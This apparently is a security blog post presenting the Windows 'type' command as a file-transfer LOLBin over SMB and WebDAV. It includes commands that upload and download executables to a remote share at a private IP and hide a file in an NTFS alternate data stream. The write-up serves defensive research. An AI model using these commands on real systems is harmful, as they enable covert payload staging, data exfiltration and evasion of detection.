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# A New LOLBin? Using the Windows Type Command to Upload/Download Files

The forgotten functionality between the Type command and WebDAV

Mr. 0range · Follow

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```
C:\Users\Public\Downloads>type C:\Users\Public\Downloads\calc.exe > \\192.168.93.128\example\calc.exe

C:\Users\Public\Downloads>type \\192.168.93.128\example\calc2.exe > C:\Users\Public\Downloads\calc2.exe

C:\Users\Public\Downloads>type C:\Users\Public\Downloads\calc2.exe > C:\Users\Public\Downloads\file.txt:calc2.exe

C:\Users\Public\Downloads>dir /r
 Volume in drive C is Windows
 Volume Serial Number is A052-B5BA

 Directory of C:\Users\Public\Downloads

12/09/2022  06:41 PM    <DIR>          .
12/09/2022  06:41 PM    <DIR>          ..
12/09/2022  06:16 PM            27,648 calc.exe
12/09/2022  06:39 PM            27,648 calc2.exe
12/09/2022  06:41 PM                 0 file.txt
                                27,648 file.txt:calc2.exe:$DATA
               3 File(s)         55,296 bytes
               2 Dir(s)  784,004,648,960 bytes free
```

## Displaying the Basics

The `type` command is one of the fundamental built-in commands within the Windows command line, being integrated into MS-DOS version 1 in 1983. Its

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of a locally stored text file. To use the `type` command with a network file share ... fo...

```
type \\server\share\file.txt
```

This will display the contents of the file named `file.txt` that is stored on the network share `\\server\share\`. Redirect operators can also be used with network file shares. In order to access a network file share using the `type` command, a user will need to have the appropriate permissions to access the specified share and file. If the user does not have the necessary permissions, the `type` command will fail with an error message.

## What is WebDAV?

WebDAV, web distributed authoring and versioning, is an HTTP based file management protocol which supports the collaborative reading and writing of files on a webserver created in 1996. WebDAV has several unique HTTP methods, expanding on the standard GET, POST, etc with PROPFIND (property find), PROPPATCH (property patch), and UNLOCK. Today it is only utilized in limited scenarios, and is generally considered deprecated.

Any web browser can interact with a WebDAV server by entering the WebDAV server address as a URL. Like SMB, Windows also supports the mapping of a WebDAV server as a network drive using `net use`.

Download syntax:

```
type \\webdav-server\folder\file.ext > C:\Path\file.ext
```

Upload syntax:

```
type C:\Path\file.ext > \\webdav-server\folder\file.ext
```



Examples of downloading and uploading calc.exe with type

If the `type` command attempts to read a file from a standard webserver

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